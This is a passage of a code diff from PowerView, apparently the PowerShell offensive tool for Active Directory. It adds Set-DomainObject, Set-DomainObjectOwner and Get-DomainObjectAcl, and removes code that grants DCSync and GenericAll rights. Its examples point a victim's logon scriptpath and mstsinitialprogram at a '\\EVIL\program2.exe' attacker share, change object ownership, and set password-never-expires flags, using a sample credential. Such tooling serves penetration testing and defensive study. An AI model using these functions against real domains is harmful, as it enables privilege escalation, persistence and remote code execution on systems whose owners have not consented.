+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $Domain,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $DomainController,
+ $SearchScope = 'Subtree',
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200
- )
-
- begin {
- $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize
+ $ResultPageSize = 200,
- if($PrincipalSID) {
- $ResolvedPrincipalSID = $PrincipalSID
- }
- else {
- $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize
-
- if(!$Principal) {
- throw "Error resolving principal"
- }
- $ResolvedPrincipalSID = $Principal.objectsid
- }
- if(!$ResolvedPrincipalSID) {
- throw "Error resolving principal"
- }
- }
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- process {
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
- if ($Searcher) {
+ [Switch]
+ $Tombstone,
- if($TargetSamAccountName) {
- $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
- }
- else {
- $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
- }
-
- try {
- $Results = $Searcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
- # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
- $TargetDN = $_.Properties.distinguishedname
+ [Switch]
+ $Raw
+ )
- $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)
- $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
- $ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
- $ACEs = @()
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $ObjectSearcher = Get-DomainSearcher @SearcherArguments
+ }
- if($RightsGUID) {
- $GUIDs = @($RightsGUID)
- }
- else {
- $GUIDs = Switch ($Rights) {
- # ResetPassword doesn't need to know the user's current password
- "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
- # allows for the modification of group membership
- "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
- # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
- # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
- # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
- # when applied to a domain's ACL, allows for the use of DCSync
- "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"}
- }
+ PROCESS {
+ if ($ObjectSearcher) {
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
+ $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ elseif ($IdentityInstance.Contains('\')) {
+ $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
+ if ($ConvertedIdentityInstance) {
+ $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
+ $ObjectName = $IdentityInstance.Split('\')[1]
+ $IdentityFilter += "(samAccountName=$ObjectName)"
+ $SearcherArguments['Domain'] = $ObjectDomain
+ Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
+ $ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
+ }
+ elseif ($IdentityInstance.Contains('.')) {
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
+ }
+ else {
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
+ }
+ }
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
+ }
- if($GUIDs) {
- foreach($GUID in $GUIDs) {
- $NewGUID = New-Object Guid $GUID
- $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
- $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType
- }
- }
- else {
- # deault to GenericAll rights
- $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
- $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType
- }
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
+ }
- Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)"
+ if ($Filter -and $Filter -ne '') {
+ $ObjectSearcher.filter = "(&$Filter)"
+ }
+ Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"
- try {
- # add all the new ACEs to the specified object
- ForEach ($ACE in $ACEs) {
- Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)"
- $Object = [adsi]($_.path)
- $Object.PsBase.ObjectSecurity.AddAccessRule($ACE)
- $Object.PsBase.commitchanges()
- }
- }
- catch {
- Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_"
- }
+ if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
+ else { $Results = $ObjectSearcher.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ if ($PSBoundParameters['Raw']) {
+ # return raw result objects
+ $Object = $_
+ $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
+ }
+ else {
+ $Object = Convert-LDAPProperty -Properties $_.Properties
+ $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
- $Results.dispose()
- $Searcher.dispose()
+ $Object
}
- catch {
- Write-Warning "Error: $_"
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
+ }
}
+ $ObjectSearcher.dispose()
}
}
}
-function Invoke-ACLScanner {
+function Set-DomainObject {
<#
- .SYNOPSIS
- Searches for ACLs for specifable AD objects (default to all domain objects)
- with a domain sid of > -1000, and have modifiable rights.
+.SYNOPSIS
+
+Modifies a gven property for a specified active directory object.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainObject
+
+.DESCRIPTION
+
+Splats user/object targeting parameters to Get-DomainObject, returning the raw
+searchresult object. Retrieves the raw directoryentry for the object, and sets
+any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
+from -Clear @().
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
+Wildcards accepted.
+
+.PARAMETER Set
+
+Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
- Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
+.PARAMETER XOR
- .PARAMETER SamAccountName
+Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
- Object name to filter for.
+.PARAMETER Clear
- .PARAMETER Name
+Specifies an array of object properties that will be cleared in the directory.
- Object name to filter for.
+.PARAMETER Domain
- .PARAMETER DistinguishedName
+Specifies the domain to use for the query, defaults to the current domain.
- Object distinguished name to filter for.
+.PARAMETER LDAPFilter
- .PARAMETER Filter
+Specifies an LDAP query string that is used to filter Active Directory objects.
- A customized ldap filter string to use, e.g. "(description=*admin*)"
-
- .PARAMETER ADSpath
+.PARAMETER SearchBase
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- .PARAMETER ADSprefix
+.PARAMETER Server
- Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER Domain
+.PARAMETER SearchScope
- The domain to use for the query, defaults to the current domain.
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- .PARAMETER DomainController
+.PARAMETER ResultPageSize
- Domain controller to reflect LDAP queries through.
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER ResolveGUIDs
+.PARAMETER ServerTimeLimit
- Switch. Resolve GUIDs to their display names.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER PageSize
+.PARAMETER Tombstone
- The PageSize to set for the LDAP searcher object.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .EXAMPLE
+.PARAMETER Credential
- PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- Enumerate all modifable ACLs in the current domain, resolving GUIDs to display
- names, and export everything to a .csv
+.EXAMPLE
+
+Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
+
+VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
+VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
+
+.EXAMPLE
+
+"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
+
+VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: Get-DomainObject filter string:
+(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
+VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
+VERBOSE: Setting countrycode to 1234 for object harmj0y
+VERBOSE: Get-DomainSearcher search string:
+LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
+VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
+VERBOSE: Setting countrycode to 1234 for object testuser
+
+.EXAMPLE
+
+"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
+
+Cleares the 'department' field for both object identities.
+
+.EXAMPLE
+
+Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
+
+Name Value
+---- -----
+NORMAL_ACCOUNT 512
+
+
+Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
+
+VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
+VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
+
+Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
+
+Name Value
+---- -----
+NORMAL_ACCOUNT 512
+DONT_EXPIRE_PASSWORD 65536
+
+.EXAMPLE
+
+Get-DomainUser -Identity testuser -Properties scriptpath
+
+scriptpath
+----------
+\\primary\sysvol\blah.ps1
+
+$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
+VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
+VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
+VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
+
+Get-DomainUser -Identity testuser -Properties scriptpath
+
+scriptpath
+----------
+\\EVIL\program2.exe
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $SamAccountName,
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name')]
+ [String[]]
+ $Identity,
- [String]
- $Name = "*",
+ [ValidateNotNullOrEmpty()]
+ [Alias('Reaplce')]
+ [Hashtable]
+ $Set,
- [Alias('DN')]
- [String]
- $DistinguishedName = "*",
+ [ValidateNotNullOrEmpty()]
+ [Hashtable]
+ $XOR,
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Clear,
+
+ [ValidateNotNullOrEmpty()]
[String]
- $Filter,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $ADSpath,
+ $LDAPFilter,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $ADSprefix,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $Domain,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $DomainController,
+ $SearchScope = 'Subtree',
- [Switch]
- $ResolveGUIDs,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- # Get all domain ACLs with the appropriate parameters
- Get-ObjectACL @PSBoundParameters | ForEach-Object {
- # add in the translated SID for the object identity
- $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)
- $_
- } | Where-Object {
- # check for any ACLs with SIDs > -1000
- try {
- # TODO: change this to a regex for speedup?
- [int]($_.IdentitySid.split("-")[-1]) -ge 1000
+ BEGIN {
+ $SearcherArguments = @{'Raw' = $True}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ }
+
+ PROCESS {
+ if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
+
+ # splat the appropriate arguments to Get-DomainObject
+ $RawObject = Get-DomainObject @SearcherArguments
+
+ ForEach ($Object in $RawObject) {
+
+ $Entry = $RawObject.GetDirectoryEntry()
+
+ if($PSBoundParameters['Set']) {
+ try {
+ $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
+ Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
+ $Entry.put($_.Name, $_.Value)
+ }
+ $Entry.commitchanges()
+ }
+ catch {
+ Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
+ }
+ }
+ if($PSBoundParameters['XOR']) {
+ try {
+ $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
+ $PropertyName = $_.Name
+ $PropertyXorValue = $_.Value
+ Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
+ $TypeName = $Entry.$PropertyName[0].GetType().name
+
+ # UAC value references- https://support.microsoft.com/en-us/kb/305144
+ $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
+ $Entry.$PropertyName = $PropertyValue -as $TypeName
+ }
+ $Entry.commitchanges()
+ }
+ catch {
+ Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
+ }
+ }
+ if($PSBoundParameters['Clear']) {
+ try {
+ $PSBoundParameters['Clear'] | ForEach-Object {
+ $PropertyName = $_
+ Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
+ $Entry.$PropertyName.clear()
+ }
+ $Entry.commitchanges()
+ }
+ catch {
+ Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
+ }
+ }
}
- catch {}
- } | Where-Object {
- # filter for modifiable rights
- ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow"))
}
}
-filter Get-GUIDMap {
+function Set-DomainObjectOwner {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Modifies the owner for a specified active directory object.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainObject
+
+.DESCRIPTION
+
+Retrieves the Active Directory object specified by -Identity by splatting to
+Get-DomainObject, returning the raw searchresult object. Retrieves the raw
+directoryentry for the object, and sets the object owner to -OwnerIdentity.
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
+of the AD object to set the owner for.
+
+.PARAMETER OwnerIdentity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
+of the owner to set for -Identity.
+
+.PARAMETER Domain
- Helper to build a hash table of [GUID] -> resolved names
+Specifies the domain to use for the query, defaults to the current domain.
- Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
+.PARAMETER LDAPFilter
- .PARAMETER Domain
-
- The domain to use for the query, defaults to the current domain.
+Specifies an LDAP query string that is used to filter Active Directory objects.
- .PARAMETER DomainController
-
- Domain controller to reflect LDAP queries through.
+.PARAMETER SearchBase
- .PARAMETER PageSize
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER Server
- .LINK
+Specifies an Active Directory server (domain controller) to bind to.
- http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
+
+Set the owner of 'dfm' in the current domain to 'harmj0y'.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred
+
+Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name')]
+ [String]
+ $Identity,
+
+ [Parameter(Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
+ [Alias('Owner')]
+ [String]
+ $OwnerIdentity,
+
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $DomainController,
+ $LDAPFilter,
- [ValidateRange(1,10000)]
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200
- )
+ $ResultPageSize = 200,
- $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- $SchemaPath = (Get-NetForest).schema.name
+ [Switch]
+ $Tombstone,
- $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize
- if($SchemaSearcher) {
- $SchemaSearcher.filter = "(schemaIDGUID=*)"
- try {
- $Results = $SchemaSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- # convert the GUID
- $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
- }
- $Results.dispose()
- $SchemaSearcher.dispose()
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+
+ $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid
+ if ($OwnerSid) {
+ $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid
}
- catch {
- Write-Verbose "Error in building GUID map: $_"
+ else {
+ Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"
}
}
- $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
- if ($RightsSearcher) {
- $RightsSearcher.filter = "(objectClass=controlAccessRight)"
- try {
- $Results = $RightsSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- # convert the GUID
- $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
+ PROCESS {
+ if ($OwnerIdentityReference) {
+ $SearcherArguments['Raw'] = $True
+ $SearcherArguments['Identity'] = $Identity
+
+ # splat the appropriate arguments to Get-DomainObject
+ $RawObject = Get-DomainObject @SearcherArguments
+
+ ForEach ($Object in $RawObject) {
+ try {
+ Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'"
+ $Entry = $RawObject.GetDirectoryEntry()
+ $Entry.PsBase.Options.SecurityMasks = 'Owner'
+ $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
+ $Entry.PsBase.CommitChanges()
+ }
+ catch {
+ Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
+ }
}
- $Results.dispose()
- $RightsSearcher.dispose()
- }
- catch {
- Write-Verbose "Error in building GUID map: $_"
}
}
-
- $GUIDs
}
-function Get-NetComputer {
+function Get-DomainObjectAcl {
<#
- .SYNOPSIS
-
- This function utilizes adsisearcher to query the current AD context
- for current computer objects. Based off of Carlos Perez's Audit.psm1
- script in Posh-SecMod (link below).
-
- .PARAMETER ComputerName
+.SYNOPSIS
- Return computers with a specific name, wildcards accepted.
+Returns the ACLs associated with a specific active directory object.
- .PARAMETER SPN
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap
- Return computers with a specific service principal name, wildcards accepted.
+.PARAMETER Identity
- .PARAMETER OperatingSystem
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
+Wildcards accepted.
- Return computers with a specific operating system, wildcards accepted.
+.PARAMETER ResolveGUIDs
- .PARAMETER ServicePack
+Switch. Resolve GUIDs to their display names.
- Return computers with a specific service pack, wildcards accepted.
+.PARAMETER RightsFilter
- .PARAMETER Filter
+A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').
- A customized ldap filter string to use, e.g. "(description=*admin*)"
+.PARAMETER Domain
- .PARAMETER Printers
+Specifies the domain to use for the query, defaults to the current domain.
- Switch. Return only printers.
+.PARAMETER LDAPFilter
- .PARAMETER Ping
+Specifies an LDAP query string that is used to filter Active Directory objects.
- Switch. Ping each host to ensure it's up before enumerating.
+.PARAMETER SearchBase
- .PARAMETER FullData
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- Switch. Return full computer objects instead of just system names (the default).
+.PARAMETER Server
- .PARAMETER Domain
+Specifies an Active Directory server (domain controller) to bind to.
- The domain to query for computers, defaults to the current domain.
+.PARAMETER SearchScope
- .PARAMETER DomainController
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- Domain controller to reflect LDAP queries through.
+.PARAMETER ResultPageSize
- .PARAMETER ADSpath
+Specifies the PageSize to set for the LDAP searcher object.
